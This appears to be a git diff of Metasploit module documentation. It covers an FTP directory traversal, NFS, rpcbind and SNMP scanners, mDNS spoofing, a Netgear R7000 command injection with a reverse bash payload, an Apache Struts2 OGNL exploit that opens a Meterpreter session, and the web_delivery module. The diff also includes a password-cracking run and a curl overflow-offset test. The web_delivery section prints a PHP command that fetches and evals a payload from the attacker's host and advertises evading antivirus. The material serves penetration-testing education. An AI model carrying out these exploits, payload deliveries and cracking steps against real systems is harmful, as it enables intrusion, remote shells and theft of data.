|
||||
```
|
||||
wvu@kharak:~$ john --wordlist --rules --format=md5crypt shadow
|
||||
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 SSSE3 20x])
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
hunter2 (admin)
|
||||
1g 0:00:00:01 DONE (2017-03-15 04:41) 0.8928g/s 24839p/s 24839c/s
|
||||
24839C/s flipper2..mercury2
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
wvu@kharak:~$
|
||||
```
|
||||
|
||||
Cracked! Now you can log in to the device. Shells await!
|
||||
|
||||
## Addendum
|
||||
|
||||
I used this `curl` command to test for offsets:
|
||||
|
||||
```
|
||||
curl -kv "https://[redacted]/cgi-bin/cgi.cgi?u=admin&p=$(perl -e 'print "A"x2000' | base64 -w 0)"
|
||||
```
|
|
@ -0,0 +1,27 @@
|
|||
This module exploits a directory traversal vulnerability in Easy File Sharing FTP Server 3.6, or
|
||||
prior. It abuses the RETR command in FTP in order to retrieve a file outside the shared directory.
|
||||
|
||||
By default, anonymous access is allowed by the FTP server.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Easy File Sharing FTP Server version 3.6 or prior should be affected. You can download the
|
||||
vulnerable application from the official website:
|
||||
|
||||
http://www.efssoft.com/efsfs.exe
|
||||
|
||||
## Options
|
||||
|
||||
Since the FTP server allows anonymous access, by default, you only need to configure:
|
||||
|
||||
**RHOSTS**
|
||||
|
||||
The FTP server IP address.
|
||||
|
||||
**PATH**
|
||||
|
||||
The file you wish to download. Assume this path starts from C:\
|
||||
|
||||
## Demonstration
|
||||
|
||||
![ftp](https://cloud.githubusercontent.com/assets/1170914/23971054/4fdc2b08-099a-11e7-88ea-67a678628e49.gif)
|
|
@ -0,0 +1,136 @@
|
|||
## Vulnerable Application
|
||||
|
||||
RPC Portmapper, or more recently renamed to rpcbind, is fairly common and this scanner searches for its existance. The idea behind rpcbind was to create a
|
||||
'directory' that could be asked where a service is running (port). Having this single port/service be queryable meant, the services being managed by rpcbind
|
||||
could actually be running on any port or protocol, and rpdbind would be in charge of letting clients know where they were. This is more or less an outdated
|
||||
model/service, and NFS is arguably the most popular service still utilizing rpcbind. The following was done on Kali linux:
|
||||
|
||||
1. Install rpcbind: `apt-get install rpcbind`
|
||||
2. Now now have `rpcbind`, but this gives us minimal services running on it. You may want to install additional:
|
||||
* NIS: `apt-get install nis`
|
||||
* Start the service: `ypserv`
|
||||
* NFS: `apt-get install nfs-kernel-server`
|
||||
3. Just to be safe, restart rpcbind: `service rpcbind restart`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install and configure rpcbind
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/scanner/misc/sunrpc_portmapper`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
A run against the configuration from these docs
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/misc/sunrpc_portmapper
|
||||
msf auxiliary(sunrpc_portmapper) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf auxiliary(sunrpc_portmapper) > run
|
||||
|
||||
[+] 127.0.0.1:111 - SunRPC Programs for 127.0.0.1
|
||||
=============================
|
||||
|
||||
Name Number Version Port Protocol
|
||||
---- ------ ------- ---- --------
|
||||
mountd 100005 1 60153 udp
|
||||
mountd 100005 1 39027 tcp
|
||||
mountd 100005 2 47725 udp
|
||||
mountd 100005 2 53055 tcp
|
||||
mountd 100005 3 49015 udp
|
||||
mountd 100005 3 47033 tcp
|
||||
nfs 100003 3 2049 tcp
|
||||
nfs 100003 4 2049 tcp
|
||||
nfs 100003 3 2049 udp
|
||||
nfs 100003 4 2049 udp
|
||||
nfs_acl 100227 3 2049 tcp
|
||||
nfs_acl 100227 3 2049 udp
|
||||
nlockmgr 100021 1 40970 udp
|
||||
nlockmgr 100021 3 40970 udp
|
||||
nlockmgr 100021 4 40970 udp
|
||||
nlockmgr 100021 1 42279 tcp
|
||||
nlockmgr 100021 3 42279 tcp
|
||||
nlockmgr 100021 4 42279 tcp
|
||||
rpcbind 100000 4 111 tcp
|
||||
rpcbind 100000 3 111 tcp
|
||||
rpcbind 100000 2 111 tcp
|
||||
rpcbind 100000 4 111 udp
|
||||
rpcbind 100000 3 111 udp
|
||||
rpcbind 100000 2 111 udp
|
||||
ypserv 100004 2 707 udp
|
||||
ypserv 100004 1 707 udp
|
||||
ypserv 100004 2 708 tcp
|
||||
ypserv 100004 1 708 tcp
|
||||
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Confirming
|
||||
|
||||
Since rpc port mapper has been around since 1995, there are many tools which can also query it.
|
||||
The following are other industry tools which can also be used.
|
||||
|
||||
### [nmap](https://nmap.org/nsedoc/scripts/rpcinfo.html)
|
||||
|
||||
```
|
||||
nmap -p 111 --script=rpcinfo 127.0.0.1
|
||||
|
||||
Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-13 22:57 EST
|
||||
Nmap scan report for localhost (127.0.0.1)
|
||||
Host is up (0.000043s latency).
|
||||
PORT STATE SERVICE
|
||||
111/tcp open rpcbind
|
||||
| rpcinfo:
|
||||
| program version port/proto service
|
||||
| 100000 2,3,4 111/tcp rpcbind
|
||||
| 100000 2,3,4 111/udp rpcbind
|
||||
| 100003 3,4 2049/tcp nfs
|
||||
| 100003 3,4 2049/udp nfs
|
||||
| 100004 1,2 707/udp ypserv
|
||||
| 100004 1,2 708/tcp ypserv
|
||||
| 100005 1,2,3 47033/tcp mountd
|
||||
| 100005 1,2,3 49015/udp mountd
|
||||
| 100021 1,3,4 40970/udp nlockmgr
|
||||
| 100021 1,3,4 42279/tcp nlockmgr
|
||||
| 100227 3 2049/tcp nfs_acl
|
||||
|_ 100227 3 2049/udp nfs_acl
|
||||
```
|
||||
|
||||
### rpcinfo
|
||||
|
||||
This is the standard package included with rpcbind to query the rpc interface.
|
||||
|
||||
```
|
||||
rpcinfo -p 127.0.0.1
|
||||
program vers proto port service
|
||||
100000 4 tcp 111 portmapper
|
||||
100000 3 tcp 111 portmapper
|
||||
100000 2 tcp 111 portmapper
|
||||
100000 4 udp 111 portmapper
|
||||
100000 3 udp 111 portmapper
|
||||
100000 2 udp 111 portmapper
|
||||
100005 1 udp 60153 mountd
|
||||
100005 1 tcp 39027 mountd
|
||||
100005 2 udp 47725 mountd
|
||||
100005 2 tcp 53055 mountd
|
||||
100005 3 udp 49015 mountd
|
||||
100005 3 tcp 47033 mountd
|
||||
100003 3 tcp 2049 nfs
|
||||
100003 4 tcp 2049 nfs
|
||||
100227 3 tcp 2049
|
||||
100003 3 udp 2049 nfs
|
||||
100003 4 udp 2049 nfs
|
||||
100227 3 udp 2049
|
||||
100021 1 udp 40970 nlockmgr
|
||||
100021 3 udp 40970 nlockmgr
|
||||
100021 4 udp 40970 nlockmgr
|
||||
100021 1 tcp 42279 nlockmgr
|
||||
100021 3 tcp 42279 nlockmgr
|
||||
100021 4 tcp 42279 nlockmgr
|
||||
100004 2 udp 707 ypserv
|
||||
100004 1 udp 707 ypserv
|
||||
100004 2 tcp 708 ypserv
|
||||
100004 1 tcp 708 ypserv
|
||||
```
|
|
@ -0,0 +1,113 @@
|
|||
## Vulnerable Application
|
||||
|
||||
NFS is very common, and this scanner searches for a mis-configuration, not a vulnerable software version. Installation instructions for NFS can be found for every operating system.
|
||||
The [Ubuntu 14.04](https://help.ubuntu.com/14.04/serverguide/network-file-system.html) instructions can be used as an example for installing and configuring NFS. The
|
||||
following was done on Kali linux:
|
||||
|
||||
1. `apt-get install nfs-kernel-server`
|
||||
2. Create 2 folders to share:
|
||||
```
|
||||
mkdir /tmp/open_share
|
||||
mkdir /tmp/closed_share
|
||||
```
|
||||
3. Add them to the list of shares:
|
||||
```
|
||||
echo "/tmp/closed_share 10.1.2.3(ro,sync,no_root_squash)" >> /etc/exports
|
||||
echo "/tmp/open_share *(rw,sync,no_root_squash)" >> /etc/exports
|
||||
```
|
||||
4. Restart the service: `service nfs-kernel-server restart`
|
||||
|
||||
In this scenario, `closed_share` is set to read only, and only mountable by the IP 10.1.2.3. `open_share` is mountable by anyone (`*`) in read/write mode.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install and configure NFS
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/scanner/nfs/nfsmount`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
A run against the configuration from these docs
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/nfs/nfsmount
|
||||
msf auxiliary(nfsmount) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf auxiliary(nfsmount) > run
|
||||
|
||||
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/open_share [*]
|
||||
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/closed_share [10.1.2.3]
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Another example can be found at this [source](http://bitvijays.github.io/blog/2016/03/03/learning-from-the-field-basic-network-hygiene/):
|
||||
|
||||
```
|
||||
[*] Scanned 24 of 240 hosts (10% complete)
|
||||
[+] 10.10.xx.xx NFS Export: /data/iso [0.0.0.0/0.0.0.0]
|
||||
[*] Scanned 48 of 240 hosts (20% complete)
|
||||
[+] 10.10.xx.xx NFS Export: /DataVolume/Public [*]
|
||||
[+] 10.10.xx.xx NFS Export: /DataVolume/Download [*]
|
||||
[+] 10.10.xx.xx NFS Export: /DataVolume/Softshare [*]
|
||||
[*] Scanned 72 of 240 hosts (30% complete)
|
||||
[+] 10.10.xx.xx NFS Export: /var/ftp/pub [10.0.0.0/255.255.255.0]
|
||||
[*] Scanned 96 of 240 hosts (40% complete)
|
||||
[+] 10.10.xx.xx NFS Export: /common []
|
||||
```
|
||||
|
||||
## Confirming
|
||||
|
||||
Since NFS has been around since 1989, with modern NFS(v4) being released in 2000, there are many tools which can also be used to verify this configuration issue.
|
||||
The following are other industry tools which can also be used.
|
||||
|
||||
### [nmap](https://nmap.org/nsedoc/scripts/nfs-showmount.html)
|
||||
|
||||
```
|
||||
nmap -p 111 --script=nfs-showmount 127.0.0.1
|
||||
|
||||
Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-12 19:41 EST
|
||||
Nmap scan report for localhost (127.0.0.1)
|
||||
Host is up (0.000037s latency).
|
||||
PORT STATE SERVICE
|
||||
111/tcp open rpcbind
|
||||
| nfs-showmount:
|
||||
| /tmp/open_share *
|
||||
|_ /tmp/closed_share 10.1.2.3
|
||||
|
||||
Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
|
||||
```
|
||||
|
||||
### [showmount](https://packages.debian.org/sid/amd64/nfs-common/filelist)
|
||||
|
||||
showmount is a part of the `nfs-common` package for debian.
|
||||
|
||||
```
|
||||
showmount -e 127.0.0.1
|
||||
Export list for 127.0.0.1:
|
||||
/tmp/open_share *
|
||||
/tmp/closed_share 10.1.2.3
|
||||
```
|
||||
|
||||
## Exploitation
|
||||
|
||||
Exploiting this mis-configuration is trivial, however exploitation doesn't necessarily give access (command execution) to the system.
|
||||
If a share is mountable, ie you either are the IP listed in the filter (or could assume it through a DoS), or it is open (*), mounting is trivial.
|
||||
The following instructions were written for Kali linux.
|
||||
|
||||
1. Create a new directory to mount the remote volume to: `mkdir /mnt/remote`
|
||||
2. Use `mount` to link the remote volume to the local folder: `mount -t nfs 127.0.0.1:/tmp/open_share /mnt/remote`
|
||||
|
||||
The mount and its writability can now be tested:
|
||||
|
||||
1. Write a file: `echo "hello" > /mnt/remote/test`
|
||||
2. The remote end now has the file locally:
|
||||
```
|
||||
cat /tmp/open_share/test
|
||||
hello
|
||||
```
|
||||
|
||||
1. To unmount: `umount /mnt/remote`
|
||||
|
||||
At this point, its time to hope for a file of value. Maybe code with hardcoded credentials, a `passwords.txt`, or an `id_rsa`.
|
|
@ -0,0 +1,94 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Installation instructions for SNMP server can be found for every operating system.
|
||||
The [Ubuntu 14.04](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-an-snmp-daemon-and-client-on-ubuntu-14-04) instructions can be used as an example for installing and configuring NFS. The
|
||||
following was done on Kali linux:
|
||||
|
||||
1. `sudo apt-get install snmpd`
|
||||
2. Set SNMP to listen on non-localhost: `nano /etc/snmp/snmpd.conf`
|
||||
```
|
||||
# Listen for connections from the local system only
|
||||
#agentAddress udp:127.0.0.1:161
|
||||
# Listen for connections on all interfaces (both IPv4 *and* IPv6)
|
||||
agentAddress udp:161,udp6:[::1]:161
|
||||
```
|
||||
3. Restart the service: `service snmpd restart`
|
||||
|
||||
### SNMP Versions
|
||||
|
||||
SNMP has 3 main versions.
|
||||
* **1**, **2c**: both use simple password protection (string), and are often defaulted to `public` (read only), and `private` (read/write). Version 2 is backwards compatible with version 1. This is a plaintext protocol and is vulenrable to being intercepted.
|
||||
* **3**: has several security levels and is significantly more complex, but also not covered in this module.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install and configure SNMP
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/scanner/snmp/snmp_login`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
A run against the configuration from these docs
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/snmp/snmp_login
|
||||
msf auxiliary(snmp_login) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf auxiliary(snmp_login) > run
|
||||
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[+] 127.0.0.1:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): Linux hostname 4.9.0-kali1-amd64 #1 SMP Debian 4.9.6-3kali2 (2017-01-30) x86_64
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Another example can be found at this [source](http://bitvijays.github.io/blog/2016/03/03/learning-from-the-field-basic-network-hygiene/):
|
||||
|
||||
```
|
||||
[+] 10.4.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): Cisco IOS Software, C1130 Software (C1130-K9W7-M), Version 12.4(10b)JA, RELEASE SOFTWARE (fc2)
|
||||
Technical Support: http://www.cisco.com/techsupport
|
||||
Copyright (c) 1986-2007 by Cisco Systems, Inc.
|
||||
Compiled Wed 24-Oct-07 15:17 by prod_rel_team
|
||||
[*] Scanned 12 of 58 hosts (20% complete)
|
||||
[*] Scanned 18 of 58 hosts (31% complete)
|
||||
[+] 10.10.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): Digi Connect ME Version 82000856_F6 07/21/2006
|
||||
[+] 10.10.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): Digi Connect ME Version 82000856_F6 07/21/2006
|
||||
[*] Scanned 24 of 58 hosts (41% complete)
|
||||
[+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: private (Access level: read-write); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009
|
||||
[+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009
|
||||
[+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: private (Access level: read-write); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009
|
||||
[+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009
|
||||
[+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: private (Access level: read-write); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009
|
||||
[+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009
|
||||
[*] Scanned 29 of 58 hosts (50% complete)
|
||||
[*] Scanned 35 of 58 hosts (60% complete)
|
||||
[*] Scanned 41 of 58 hosts (70% complete)
|
||||
[*] Scanned 47 of 58 hosts (81% complete)
|
||||
[+] 10.25.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): Digi Connect ME Version 82000856_F6 07/21/2006
|
||||
```
|
||||
|
||||
## Confirming
|
||||
|
||||
Since SNMP has been around for quite a while, there are many tools which can also be used to verify this configuration issue.
|
||||
The following are other industry tools which can also be used.
|
||||
|
||||
### [nmap](https://nmap.org/nsedoc/scripts/snmp-info.html)
|
||||
|
||||
```
|
||||
nmap -p 161 -sU --script=snmp-info 127.0.0.1
|
||||
|
||||
Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-12 23:00 EST
|
||||
Nmap scan report for localhost (127.0.0.1)
|
||||
Host is up (0.00017s latency).
|
||||
PORT STATE SERVICE
|
||||
161/udp open snmp
|
||||
| snmp-info:
|
||||
| enterprise: net-snmp
|
||||
| engineIDFormat: unknown
|
||||
| engineIDData: 54ad55664725a15800000000
|
||||
| snmpEngineBoots: 2
|
||||
|_ snmpEngineTime: 31m30s
|
||||
|
||||
Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds
|
||||
```
|
|
@ -0,0 +1,71 @@
|
|||
This module will listen for mDNS multicast requests on 5353/udp for A and AAAA record queries, and respond with a spoofed IP address (assuming the request matches our regex).
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
To use mdns_response, be on a network with devices/applications that can make mDNS multicast requests on 5353/udp for A and AAAA record queries.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use auxiliary/spoof/mdns/mdns_response`
|
||||
2. `set INTERFACE network_iface`
|
||||
3. `set SPOOFIP4 10.x.x.x`
|
||||
4. `run`
|
||||
|
||||
## Options
|
||||
|
||||
**The SPOOFIP4 option**
|
||||
|
||||
IPv4 address with which to spoof A-record queries
|
||||
|
||||
```
|
||||
set SPOOFIP4 [IPv4 address]
|
||||
```
|
||||
|
||||
**The SPOOFIP6 option**
|
||||
|
||||
IPv6 address with which to spoof AAAA-record queries
|
||||
|
||||
```
|
||||
set SPOOFIP6 [IPv6 address]
|
||||
```
|
||||
|
||||
**The REGEX option**
|
||||
|
||||
Regex applied to the mDNS to determine if spoofed reply is sent
|
||||
|
||||
```
|
||||
set REGEX [regex]
|
||||
```
|
||||
|
||||
**The TTL option**
|
||||
|
||||
Time To Live for the spoofed response (in seconds)
|
||||
|
||||
```
|
||||
set TTL [number of seconds]
|
||||
```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/spoof/mdns/mdns_response
|
||||
msf auxiliary(mdns_response) > set SPOOFIP4 10.x.x.y
|
||||
SPOOFIP4 => 10.x.x.y
|
||||
msf auxiliary(mdns_response) > set INTERFACE en3
|
||||
INTERFACE => en3
|
||||
msf auxiliary(mdns_response) > run
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(mdns_response) >
|
||||
[*] mDNS spoofer started. Listening for mDNS requests with REGEX "(?-mix:.*)" ...
|
||||
```
|
||||
|
||||
On Victim Machine
|
||||
```
|
||||
ping something.local
|
||||
```
|
||||
(IP address should resolve to spoofed address)
|
||||
|
||||
|
||||
```
|
||||
[+] 10.x.x.z mDNS - something.local. matches regex, responding with 10.x.x.y
|
||||
```
|
|
@ -0,0 +1,58 @@
|
|||
The netgear_r7000_cgibin_exec module exploits a command injection vulnerability in Netgear R7000 and R6400 router firmware version `1.0.7.2_1.1.93` and possibly earlier. The vulnerability is found in the `/cgi-bin/` folder of the router. A manual injection would look like so: `http://<RouterIP>/cgi-bin/;echo$IFS"cowsay"`. This will echo 'cowsay' on the router.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Netgear R7000 and R6400 routers running firmware version `1.0.7.2_1.1.93` and possibly earlier.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use exploit/linux/http/netgear_r7000_cgibin_exec`
|
||||
3. Do: `set RHOST <RouterIP>`
|
||||
4. Do: `set PAYLOAD <payload>`
|
||||
5. Do: `run`
|
||||
6. If the router is a R7000 or R6400, the module should run
|
||||
|
||||
## Options
|
||||
|
||||
**PAYLOAD**
|
||||
|
||||
The valid payloads are `cmd/unix` payloads _only_, as this is a command execution module
|
||||
|
||||
## Scenarios
|
||||
|
||||
Sample output of the options looks like so
|
||||
|
||||
```
|
||||
msf exploit(netgear_r7000_cgibin_exec) > options
|
||||
|
||||
Module options (exploit/linux/http/netgear_r7000_cgibin_exec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOST 192.168.1.1 yes The target address
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_bash):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.153.34 yes The listen address
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic Target
|
||||
|
||||
msf exploit(netgear_r7000_cgibin_exec) >
|
||||
```
|
||||
|
||||
|
|
@ -0,0 +1,104 @@
|
|||
`struts2_content_type_ognl` is a module that exploits Apache Struts 2's Jakarta Multipart
|
||||
parser, which makes it possible to perform arbitrary code execution with a malicious HTTP
|
||||
`Content-Type` value.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Apache Struts version 2.3.5 - 2.3.31, and 2.5 - 2.5.10 are vulnerable.
|
||||
|
||||
You can download these versions here with any version of Apache Tomcat:
|
||||
|
||||
http://archive.apache.org/dist/struts/
|
||||
|
||||
You will also need to install a Struts 2 showcase application, which can be found here:
|
||||
|
||||
https://mvnrepository.com/artifact/org.apache.struts/struts2-showcase
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
The path to a struts application action
|
||||
|
||||
**VHOST**
|
||||
|
||||
The HTTP server virtual host. You will probably need to configure this as well, even though it is
|
||||
set as optional.
|
||||
|
||||
## Demonstration
|
||||
|
||||
**The Check Command**
|
||||
|
||||
The `struts2_content_type_ognl` module comes with a check command that can effectively check
|
||||
if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the
|
||||
following:
|
||||
|
||||
```
|
||||
set VERBOSE true
|
||||
set RHOST [IP]
|
||||
set TARGETURI [path to the Struts app with an action]
|
||||
```
|
||||
|
||||
When the module is in verbose mode, the `check` command will try to tell you the OS information,
|
||||
and whether or not the machine is vulnerable. Like this:
|
||||
|
||||
```
|
||||
msf exploit(struts2_content_type_ognl) > check
|
||||
|
||||
[+] Victim operating system: Linux
|
||||
[+] 10.1.11.11:8080 The target is vulnerable.
|
||||
```
|
||||
|
||||
**Exploiting the Host**
|
||||
|
||||
After identifying the vulnerability on the target machine, you can try to exploit it.
|
||||
|
||||
The exploit supports mainly two platforms: Windows and Linux. To see a list of available payloads,
|
||||
try to do `show payloads`, and pick one. The following example demonstrates us exploiting a
|
||||
vulnerable Ubuntu host:
|
||||
|
||||
```
|
||||
msf exploit(struts2_content_type_ognl) > show options
|
||||
|
||||
Module options (exploit/multi/http/struts2_content_type_ognl):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOST 10.1.11.11 yes The target address
|
||||
RPORT 8080 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI /struts2-showcase/ yes The path to a struts application action
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (linux/x86/meterpreter/bind_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DebugOptions 0 no Debugging options for POSIX meterpreter
|
||||
LPORT 4444 yes The listen port
|
||||
RHOST 10.1.11.11 no The target address
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Universal
|
||||
|
||||
|
||||
msf exploit(struts2_content_type_ognl) > run
|
||||
|
||||
[*] Started bind handler
|
||||
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
|
||||
{"Server"=>"Apache-Coyote/1.1",
|
||||
"Set-Cookie"=>"JSESSIONID=548FF051466E6C1F3AAE814E385057DE; Path=/; HttpOnly",
|
||||
"Content-Type"=>"text/html;charset=UTF-8",
|
||||
"Content-Length"=>"6335",
|
||||
"Date"=>"Tue, 14 Mar 2017 21:04:06 GMT"}
|
||||
[*] Sending stage (1495599 bytes) to 10.1.11.11
|
||||
[*] Meterpreter session 5 opened (192.168.1.11:50671 -> 10.1.11.11:4444) at 2017-03-14 16:04:36 -0500
|
||||
|
||||
meterpreter >
|
||||
```
|
|
@ -1,16 +1,13 @@
|
|||
As a web server, the web_delivery module provides a stealthy way to deliver a payload during post exploitation because the payload does not touch the disk.
|
||||
The web_delivery module provides a stealthy way to deliver a payload during post exploitation over HTTP or HTTPS. Because the payload does not touch the disk, it can easily bypass many anti-virus protections.
|
||||
|
||||
Currently, web_delivery supports three different languages for delivery: Python, PHP, and
|
||||
Powershell. You should be able to tell which one you can use based on the target environment
|
||||
you are in.
|
||||
The web_delivery module supports three different languages for delivery: Python, PHP, and
|
||||
Powershell. You should manually select the correct target based on the victim environment you are exploiting.
|
||||
|
||||
For example, if you gained access through a PHP application, it's safe to assume you can use PHP. If you're in a Windows server, such as Windows Server 2008, then it's probably safe to say the target supports Powershell.
|
||||
For example, if you have gained remote access through a PHP application, it is likely you can use PHP. If you are in a modern Windows server environment, then you can usually assume the target supports Powershell as well.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
To be able to use the web_delivery module, you must gain access to the target machine first, with the ability to execute either the Python, or PHP, or Powershell interpreter.
|
||||
|
||||
At that point, you would use the web_delivery module like in the following example:
|
||||
To use the web_delivery module, you must first gain access to the target host and be able to execute either a Python, PHP, or Powershell interpreter. Then, follow these steps to proceed with exploitation:
|
||||
|
||||
1. Start msfconsole
|
||||
2. Run: ```use exploit/multi/script/web_delivery```
|
||||
|
@ -20,57 +17,319 @@ At that point, you would use the web_delivery module like in the following examp
|
|||
6. Do: ```run```
|
||||
7. At this point, a handler is up for that payload, and the module should instruct you to execute a command.
|
||||
8. Copy the command. Depending on your pentesting scenario, you can either inject the
|
||||
command and get code execution, or run it from the target's shell and get a session:
|
||||
command into a vulnerable application, or run it from the target's shell and get a session:
|
||||
|
||||
```
|
||||
msf exploit(web_delivery) > run
|
||||
[*] Exploit running as background job.
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.23.1:4444
|
||||
[*] Started reverse TCP handler on 192.168.2.1:4444
|
||||
msf exploit(web_delivery) > [*] Using URL: http://0.0.0.0:8080/z5inGkwCCQiz9
|
||||
[*] Local IP: http://10.6.0.86:8080/z5inGkwCCQiz9
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.16.23.1:8080/z5inGkwCCQiz9'));"
|
||||
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.1:8080/z5inGkwCCQiz9'));"
|
||||
[*] Delivering Payload
|
||||
[*] Sending stage (33684 bytes) to 172.16.23.134
|
||||
[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.134:41684) at 2016-03-02 11:41:34 -0600
|
||||
[*] Sending stage (33684 bytes) to 192.168.2.134
|
||||
[*] Meterpreter session 1 opened (192.168.2.1:4444 -> 192.168.2.134:41684) at 2016-03-02 11:41:34 -0600
|
||||
```
|
||||
|
||||
## Targets
|
||||
|
||||
**Python**
|
||||
|
||||
Python is a fairly popular language, especially on Unix-based systems. By default, it has come with Ubuntu Linux since 8.04, as well as Debian, and Mac OS X since 10.3.
|
||||
Python is a popular language, especially on Unix-based systems. It has shipped by default with Ubuntu Linux since version 8.04, Mac OS X since version 10.3, and is widely available on other systems as well.
|
||||
|
||||
**PHP**
|
||||
|
||||
PHP is a fairly popular language for web servers, especially Apache.
|
||||
PHP is often found on web servers, especially in shared hosting environments. It is the basis for popular web applications such as WordPress, Joomla, and Drupal.
|
||||
|
||||
**Powershell/Windows**
|
||||
|
||||
Powershell is a popular language for newer Windows systems. Windows 7 and Windows Server 2008 R2
|
||||
are the first Windows versions to come with Powershell by default. Older Windows systems such as XP
|
||||
don't come with it by default, but it is still possible to see it installed on a corporate network.
|
||||
Powershell is a popular language on modern Windows systems, largely replacing batch files and Windows Scripting Host for Windows automation. Windows 7 and Windows Server 2008 R2 were the first versions to come with Powershell by default. Older Windows systems, such as XP and Server 2003, can still have it installed as an optional component.
|
||||
|
||||
## Scenarios
|
||||
|
||||
**Against a compromised web application**
|
||||
|
||||
web_delivery would work nicely for a web application with a command execution vulnerability.
|
||||
|
||||
One way to approach this would be:
|
||||
web_delivery works nicely against a web application with a command execution vulnerability. One way to approach this would be:
|
||||
|
||||
1. Start exploit/multi/script/web_delivery
|
||||
